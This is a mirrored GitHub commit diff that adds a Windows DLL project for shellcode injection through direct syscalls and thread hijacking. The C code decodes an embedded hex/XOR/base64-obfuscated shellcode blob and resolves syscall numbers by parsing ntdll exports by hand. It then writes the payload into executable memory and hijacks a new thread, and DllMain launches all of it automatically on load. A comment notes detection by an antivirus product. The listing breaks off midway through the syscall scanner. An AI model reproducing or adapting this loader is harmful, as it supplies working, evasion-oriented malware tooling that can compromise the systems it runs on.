mirror of
https://github.com/Hue-Jhan/Syscalls-Thread-Hijacking
synced 2026-06-06 15:44:31 +00:00
add direct dll
This commit is contained in:
Hue
@@ -1 +0,0 @@
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
#include "decode.h"
|
||||
|
||||
void xor_decrypt(unsigned char* data, int length, unsigned char key) {
|
||||
for (int i = 0; i < length; i++) {
|
||||
data[i] ^= key;
|
||||
}
|
||||
}
|
||||
|
||||
int is_base64(unsigned char c) {
|
||||
return (strchr(base64_chars, c) != NULL);
|
||||
}
|
||||
|
||||
const char* base64_chars = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321+/";
|
||||
int base64_decode(const char* input, unsigned char* output) {
|
||||
int len = strlen(input);
|
||||
int i = 0, j = 0;
|
||||
unsigned char char_array_4[4], char_array_3[3];
|
||||
int output_len = 0;
|
||||
while (len-- && (input[i] != '=') && is_base64(input[i])) {
|
||||
char_array_4[j++] = input[i]; i++;
|
||||
if (j == 4) {
|
||||
for (j = 0; j < 4; j++) {
|
||||
char_array_4[j] = (unsigned char)(strchr(base64_chars, char_array_4[j]) - base64_chars);
|
||||
}
|
||||
char_array_3[0] = (char_array_4[0] << 2) | (char_array_4[1] >> 4);
|
||||
char_array_3[1] = ((char_array_4[1] & 15) << 4) | (char_array_4[2] >> 2);
|
||||
char_array_3[2] = ((char_array_4[2] & 3) << 6) | char_array_4[3];
|
||||
|
||||
for (j = 0; j < 3; j++) {
|
||||
output[output_len++] = char_array_3[j];
|
||||
}
|
||||
j = 0;
|
||||
}
|
||||
}
|
||||
return output_len;
|
||||
}
|
||||
|
||||
int hex_decode(const char* hex, unsigned char* output) {
|
||||
int len = strlen(hex);
|
||||
if (len % 2 != 0) return 0; // Invalid hex length
|
||||
for (int i = 0; i < len; i += 2) {
|
||||
sscanf_s(hex + i, "%2hhx", &output[i / 2], 2);
|
||||
}
|
||||
return len / 2;
|
||||
}
|
||||
|
||||
|
||||
void decodeFull() {
|
||||
const char* encrypted_hex = "85fcd8f39fe1fd85858585c6cbf0f0f0f0fcffe3e0eff3e2e2fdf9e2eceeeff8d893fbdee2f8cde2feffebf8d893f8dee2f0819de2dac1f8d89dfbe0ededf9fbe2fdf9f0c3fdc9d9dff0f8c2f8fcf9f3c8e093f3f0d2f9d899effbf8d893f8ded89af898e2f0f9e0e0efffc4dee9dee8f2cef8e1d9e9f8f0f0f0f2e5def8def0f0f0f3f8d9d2f39aeb9adef39afce2e5e0f2f3fbf0ddf2e5e2f3d9e09c93ebe7e4d2c5f88598c5f3d8cbe2f8e2f0f9eee2fdf9f0e0d2f9fbfdd0c9f3f0d2fc9c9cf9e9c9edf0e7e4fbf0d9ffe6ddff9392ffd9fcd89af0dae2e0f9e0ebdafee5fdfcd9fcd89af0d2e2e0f9e0e0e8c2fcd8fcffe8e2f0f9e0e0efd9dceeefc1f3eefcffebe0efc1f8de81cedee0efe5859cffd9f3eeefc1f8d8c9e5c1e285858585939dc6f2cef0f0f0f9efcbebe9f8cbe4d89fdad3fecef0eeecfe9eedf9d2c4f38585efe2d2dff3e0f0f0f0f0e6defdf0f0f0f0eefce0f0eeccdefdf0f0f0f0eefce0f0e0efd9f8e4d2c5f3ccdaeefdefdedf8593ecdec9c8ecfe9e98e5eed8efcf85ef";
|
||||
int hex_len = strlen(encrypted_hex) / 2;
|
||||
|
||||
unsigned char* decoded_hex = (unsigned char*)malloc(hex_len);
|
||||
if (!decoded_hex) {
|
||||
printf("Memory allocation failed.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
int decoded_len = hex_decode(encrypted_hex, decoded_hex);
|
||||
if (decoded_len == 0) {
|
||||
printf("Hexadecimal decoding failed.\n");
|
||||
free(decoded_hex);
|
||||
return;
|
||||
}
|
||||
|
||||
xor_decrypt(decoded_hex, decoded_len, 0xAA);
|
||||
|
||||
base64_decoded = (unsigned char*)malloc(decoded_len);
|
||||
if (!base64_decoded) {
|
||||
printf("Memory allocation failed.\n");
|
||||
free(decoded_hex);
|
||||
return;
|
||||
}
|
||||
int shellcode_len = base64_decode((char*)decoded_hex, base64_decoded);
|
||||
if (shellcode_len == 0) {
|
||||
printf("Base64 decoding failed.\n");
|
||||
free(decoded_hex);
|
||||
free(base64_decoded);
|
||||
return;
|
||||
}
|
||||
// print_hex(base64_decoded, shellcode_len);
|
||||
shellcode_size = shellcode_len;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include "windows.h"
|
||||
|
||||
const char* base64_chars;
|
||||
unsigned char* base64_decoded;
|
||||
SIZE_T shellcode_size;
|
||||
|
||||
void xor_decrypt(unsigned char* data, int length, unsigned char key);
|
||||
int is_base64(unsigned char c);
|
||||
int base64_decode(const char* input, unsigned char* output);
|
||||
int hex_decode(const char* hex, unsigned char* output);
|
||||
void decodeFull();
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36603.0 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dir-sys-Dll-hij", "dir-sys-Dll-hij.vcxproj", "{E82D02A3-143F-4BEB-8546-87A01BFA5389}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Debug|x64.Build.0 = Debug|x64
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Debug|x86.Build.0 = Debug|Win32
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Release|x64.ActiveCfg = Release|x64
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Release|x64.Build.0 = Release|x64
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Release|x86.ActiveCfg = Release|Win32
|
||||
{E82D02A3-143F-4BEB-8546-87A01BFA5389}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {E93FEEE1-EF5A-4277-8BFC-34A1FD57779E}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,166 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{e82d02a3-143f-4beb-8546-87a01bfa5389}</ProjectGuid>
|
||||
<RootNamespace>dirsysDllhij</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;DIRSYSDLLHIJ_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;DIRSYSDLLHIJ_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;DIRSYSDLLHIJ_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;DIRSYSDLLHIJ_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>
|
||||
</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="decode.h" />
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="injection.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="decode.c" />
|
||||
<ClCompile Include="dllmain.c" />
|
||||
<ClCompile Include="injection.c" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="syscalls.asm">
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild>
|
||||
<FileType>Document</FileType>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,50 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="File di origine">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="File di intestazione">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="File di risorse">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h">
|
||||
<Filter>File di intestazione</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="pch.h">
|
||||
<Filter>File di intestazione</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decode.h">
|
||||
<Filter>File di intestazione</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="injection.h">
|
||||
<Filter>File di intestazione</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.c">
|
||||
<Filter>File di origine</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pch.cpp">
|
||||
<Filter>File di origine</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decode.c">
|
||||
<Filter>File di origine</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="injection.c">
|
||||
<Filter>File di origine</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="syscalls.asm">
|
||||
<Filter>File di origine</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,109 @@
|
||||
#include "pch.h"
|
||||
#include "injection.h"
|
||||
#include "decode.h"
|
||||
|
||||
int Execute() {
|
||||
LPWSTR lpProcessName = L"notepad.exe";
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
HANDLE hProcess;
|
||||
DWORD tid;
|
||||
HANDLE hThread;
|
||||
PVOID pAddress = NULL;
|
||||
SIZE_T sNumberOfBytesWritten = NULL;
|
||||
DWORD dwOldProtection = NULL;
|
||||
printf("\n");
|
||||
decodeFull();
|
||||
|
||||
if (!InitNtFunctions()) {
|
||||
printf("Failed to resolve NT functions.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
OBJECT_ATTRIBUTES objAttr = { 0 };
|
||||
CLIENT_ID clientId = { 0 };
|
||||
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pid;
|
||||
clientId.UniqueThread = 0;
|
||||
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
|
||||
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_CREATE_THREAD | // remove create thread for 1st version
|
||||
PROCESS_QUERY_INFORMATION | PROCESS_SET_INFORMATION | PROCESS_SET_QUOTA | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE
|
||||
| SYNCHRONIZE, &objAttr, &clientId);
|
||||
if (status != STATUS_SUCCESS || hProcess == NULL) {
|
||||
PRINTXD("NtOpenProcess", status);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// 1st version find&Hijack, uncomment to use it
|
||||
//if (!GetThreadNative(pid, &tid)) {
|
||||
// printf("Failed to get thread handle/tid");
|
||||
// return;
|
||||
//} // else printf("[+] Found Thread : tid %lu \n", (unsigned long)tid);
|
||||
//clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pid;
|
||||
//clientId.UniqueThread = (HANDLE)(ULONG_PTR)tid;
|
||||
//status = NtOpenThread(&hThread, THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
|
||||
// THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | SYNCHRONIZE, &objAttr, &clientId);
|
||||
//if (!NT_SUCCESS(status) || hThread == NULL) {
|
||||
// PRINTXD("NtOpenThread", status);
|
||||
// return;
|
||||
//}
|
||||
|
||||
|
||||
|
||||
// 2nd versiom create&Hijack, comment to use the 1st version
|
||||
status = NtCreateThreadEx(&hThread, THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
|
||||
THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | SYNCHRONIZE, &objAttr, // or null?
|
||||
hProcess, (PVOID)temp, NULL, 0x00000001, 0, 0, 0, NULL);
|
||||
if (!NT_SUCCESS(status) || hThread == NULL) {
|
||||
PRINTXD("NtCreateThreadEx", status);
|
||||
if (hThread) NtClose(hThread);
|
||||
NtClose(hProcess);
|
||||
return; }
|
||||
|
||||
|
||||
|
||||
|
||||
status = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
PRINTXD("NtAllocateVirtualMemory", status);
|
||||
NtClose(hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
status = NtWriteVirtualMemory(hProcess, pAddress, base64_decoded, (int)shellcode_size, NULL);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
PRINTXD("NtWriteVirtualMemory", status);
|
||||
NtFreeVirtualMemory(hProcess, &pAddress, &shellcode_size, MEM_RELEASE);
|
||||
NtClose(hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
status = NtProtectVirtualMemory(hProcess, &pAddress, &shellcode_size, PAGE_EXECUTE_READ, &dwOldProtection);
|
||||
if (STATUS_SUCCESS != status) {
|
||||
PRINTXD("NtProtectVirtualMemory", status);
|
||||
NtFreeVirtualMemory(hProcess, &pAddress, &shellcode_size, MEM_RELEASE);
|
||||
NtClose(hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
HijackThread(hThread, pAddress);
|
||||
NtFreeVirtualMemory(hProcess, &pAddress, &shellcode_size, MEM_RELEASE);
|
||||
NtClose(hProcess);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI LoaderThread(LPVOID lpParam) {
|
||||
Execute();
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
|
||||
if (fdwReason == DLL_PROCESS_ATTACH) {
|
||||
CreateThread(NULL, 0, LoaderThread, NULL, 0, NULL);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Escludere gli elementi usati raramente dalle intestazioni di Windows
|
||||
// File di intestazione di Windows
|
||||
#include <windows.h>
|
||||
@@ -0,0 +1,233 @@
|
||||
#include "injection.h"
|
||||
|
||||
|
||||
// Flagged by bitdefender Advanced threat defense for sum reason, maybe parsing too much idk
|
||||
FARPROC GetProcAddressManualEx(HMODULE hMod, const char* name) {
|
||||
if (!hMod || !name) return NULL;
|
||||
unsigned char* base = (unsigned char*)hMod;
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
|
||||
IMAGE_NT_HEADERS64* nt64 = (IMAGE_NT_HEADERS64*)(base + dos->e_lfanew);
|
||||
if (nt64->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
BOOL is64 = FALSE;
|
||||
WORD magic = *(WORD*)&nt64->OptionalHeader.Magic;
|
||||
if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64 = TRUE;
|
||||
|
||||
IMAGE_DATA_DIRECTORY expDir;
|
||||
if (is64) {
|
||||
IMAGE_NT_HEADERS64* nt = (IMAGE_NT_HEADERS64*)(base + dos->e_lfanew);
|
||||
expDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
}
|
||||
else {
|
||||
IMAGE_NT_HEADERS32* nt = (IMAGE_NT_HEADERS32*)(base + dos->e_lfanew);
|
||||
expDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
}
|
||||
|
||||
if (expDir.VirtualAddress == 0 || expDir.Size == 0) return NULL;
|
||||
if ((SIZE_T)expDir.VirtualAddress >= (SIZE_T)0x10000000) return NULL; // cheap sanity
|
||||
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + expDir.VirtualAddress);
|
||||
if (!exp) return NULL;
|
||||
DWORD* nameRvas = (DWORD*)(base + exp->AddressOfNames);
|
||||
WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals);
|
||||
DWORD* funcRvas = (DWORD*)(base + exp->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||
char* exportName = (char*)(base + nameRvas[i]);
|
||||
if (!exportName) continue;
|
||||
if (strcmp(exportName, name) == 0) {
|
||||
WORD ordinalIndex = ordinals[i]; // index into AddressOfFunctions
|
||||
DWORD funcRva = funcRvas[ordinalIndex];
|
||||
if (funcRva == 0) return NULL;
|
||||
if (funcRva >= expDir.VirtualAddress && funcRva < expDir.VirtualAddress + expDir.Size) {
|
||||
printf("aaa\n");
|
||||
return NULL;
|
||||
}
|
||||
return (FARPROC)(base + funcRva);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
FARPROC GetProcAddressManual(HMODULE hMod, const char* name) {
|
||||
if (!hMod || !name) return NULL;
|
||||
unsigned char* base = (unsigned char*)hMod;
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
|
||||
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
|
||||
IMAGE_DATA_DIRECTORY expDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (expDir.VirtualAddress == 0 || expDir.Size == 0) return NULL; // locating img data dir, contains functions
|
||||
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + expDir.VirtualAddress);
|
||||
DWORD* nameRvas = (DWORD*)(base + exp->AddressOfNames);
|
||||
WORD* ordinals = (WORD*)(base + exp->AddressOfNameOrdinals);
|
||||
DWORD* funcRvas = (DWORD*)(base + exp->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||
char* exportName = (char*)(base + nameRvas[i]);
|
||||
if (exportName && strcmp(exportName, name) == 0) {
|
||||
WORD ordinal = ordinals[i]; // index into AddressOfFunctions
|
||||
DWORD funcRva = funcRvas[ordinal];
|
||||
if (funcRva == 0) return NULL;
|
||||
FARPROC addr = (FARPROC)(base + funcRva); // getting the actual function address
|
||||
// forwarded exports
|
||||
if ((DWORD)(funcRva) >= expDir.VirtualAddress && (DWORD)(funcRva) < expDir.VirtualAddress + expDir.Size) { return NULL; }
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
VOID GetSyscallNumber(_In_ HMODULE NtdllHandle, _In_ LPCSTR NtFunctionName, _Out_ PDWORD NtFunctionSSN) {
|
||||
UINT_PTR NtFunctionAddress = 0;
|
||||
NtFunctionAddress = (UINT_PTR)GetProcAddressManualEx(NtdllHandle, NtFunctionName);
|
||||
if (0 == NtFunctionAddress) {
|
||||
PRINTXD("GetProcAddress", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
/**NtFunctionSSN = ((PBYTE)(NtFunctionAddress + 0x4))[0]; // wrong cuz reads only 1 byte instead of 32-bit immediate,
|
||||
printf("%s : 0x%08X \n", NtFunctionName, *NtFunctionSSN); // so some syscalls' high bytes are skipped, most of em have 0 tho
|
||||
return;*/
|
||||
|
||||
unsigned char* p = (unsigned char*)NtFunctionAddress;
|
||||
const size_t SCAN_SZ = 64;
|
||||
for (size_t i = 0; i + 5 <= SCAN_SZ; ++i) { // scan until we find mov eax (b8 imm32) opcode
|
||||
if (p[i] == 0xB8) {
|
||||
